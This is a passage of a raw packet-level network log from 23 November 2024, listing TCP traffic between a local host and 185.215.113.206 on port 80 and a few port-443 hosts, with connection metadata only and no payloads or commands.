Nov 23, 2024 02:55:41.212753057 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.212862015 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.213584900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.213679075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.213718891 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.214402914 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.214503050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.214507103 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.215231895 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.215349913 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.215363026 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.215506077 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.216067076 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.216180086 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.216198921 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.216223001 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.216902018 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.217097998 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.217245102 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.217706919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.217813015 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.217869043 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.218539000 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.218635082 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.218689919 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.219408035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.219563961 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.219630003 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.220196962 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.220262051 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.220321894 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.220366001 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.221035004 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.221093893 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.221149921 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.221863031 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.221936941 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.222110033 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.222676992 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.222764969 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.222811937 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.222872019 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.244086981 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.244383097 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.244407892 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.245874882 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.245963097 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.246267080 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.246350050 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.246445894 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.246457100 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.271258116 CET	443	49876	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.271442890 CET	443	49876	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.271629095 CET	49876	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.271697044 CET	49876	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.271697044 CET	49876	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.271718979 CET	443	49876	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.271729946 CET	443	49876	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.274452925 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.274486065 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.274600029 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.274940014 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.274956942 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.317446947 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.317511082 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.317558050 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.317670107 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.317887068 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.317986012 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.318059921 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.318701982 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.318804026 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.318844080 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.319029093 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.319587946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.319677114 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.319757938 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.319828033 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.320159912 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.320616007 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.320724964 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.320905924 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.321470976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.321518898 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.321542978 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.321769953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.322273016 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.322354078 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.322367907 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.322485924 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.323115110 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.323183060 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.323204994 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.323242903 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.323930979 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.323999882 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.324064016 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.324152946 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.324776888 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.324846029 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.324930906 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.325037003 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.325587034 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.325637102 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.325761080 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.325818062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.326399088 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.326515913 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.326523066 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.326575994 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.327223063 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.327236891 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.327280045 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.327280045 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.328094006 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.328197956 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.328314066 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.328890085 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.328949928 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.328969002 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.328985929 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.329741001 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.329791069 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.329859018 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.329859018 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.330576897 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.330677032 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.330687046 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.330976963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.331378937 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.331464052 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.331489086 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.331729889 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.332195044 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.332282066 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.332335949 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.333034992 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.333113909 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.333133936 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.333399057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.341808081 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.341836929 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.341845036 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.341870070 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.341885090 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.341896057 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.341905117 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.341922045 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.341941118 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.341965914 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.362052917 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.362163067 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.388571024 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.388673067 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.388678074 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.388725996 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.388802052 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.388967991 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.389410973 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.389612913 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.389663935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.389722109 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.389777899 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.390456915 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.390527964 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.390567064 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.390645027 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.391278028 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.391339064 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.391377926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.391478062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.392108917 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.392210960 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.392241001 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.392294884 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.392952919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.393023014 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.393064976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.393155098 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.393760920 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.393846035 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.393881083 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.394098997 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.394678116 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.394726992 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.394783020 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.395081043 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.395418882 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.395492077 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.395569086 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.395652056 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.396275043 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.396334887 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.396389008 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.396451950 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.397068024 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.397180080 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.397198915 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.397331953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.397929907 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.398021936 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.398036957 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.398356915 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.398758888 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.398866892 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.398885012 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.398978949 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.399552107 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.399665117 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.399688959 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.399884939 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.400471926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.400571108 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.400571108 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.400746107 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.401211977 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.401273012 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.401319981 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.401463985 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.402043104 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.402103901 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.402143002 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.402232885 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.402873039 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.402971983 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.403054953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.403054953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.403686047 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.403745890 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.403784990 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.403943062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.404529095 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.404618025 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.404648066 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.404788017 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.405333996 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.405384064 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.405445099 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.405535936 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.406177044 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.406232119 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.406306028 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.406358957 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.407013893 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.407121897 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.407121897 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.407289982 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.407849073 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.407953978 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.407963037 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.408020973 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.408673048 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.408776999 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.408988953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.409495115 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.409535885 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.409569025 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.409661055 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.410324097 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.410433054 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.410456896 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.410595894 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.411153078 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.411267042 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.411283016 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.411663055 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.411995888 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.412117958 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.412210941 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.412812948 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.412900925 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.412905931 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.413072109 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.413619041 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.413697958 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.413736105 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.413870096 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.414446115 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.414534092 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.414563894 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.414702892 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.415270090 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.415338993 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.415355921 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.415486097 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.481679916 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.481765985 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.481792927 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.509620905 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.509653091 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.509798050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.509994030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.510107040 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.510205984 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.510881901 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.510982037 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.511008024 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.511169910 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.511626005 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.511698961 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.511939049 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.511993885 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.512041092 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.512171030 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.512721062 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.512780905 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.512855053 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.513046026 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.513564110 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.513628960 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.513667107 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.513731003 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.514405966 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.514442921 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.514467955 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.514542103 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.515279055 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.515291929 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.515383005 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.516050100 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.516161919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.516181946 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.516202927 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.516889095 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.516911030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.516988039 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.516988993 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.517716885 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.517807007 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.517837048 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.518132925 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.518522024 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.518663883 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.518732071 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.519375086 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.519454956 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.519484997 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.519575119 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.520194054 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.520262957 CET	49814	80	192.168.2.6	185.215.113.206
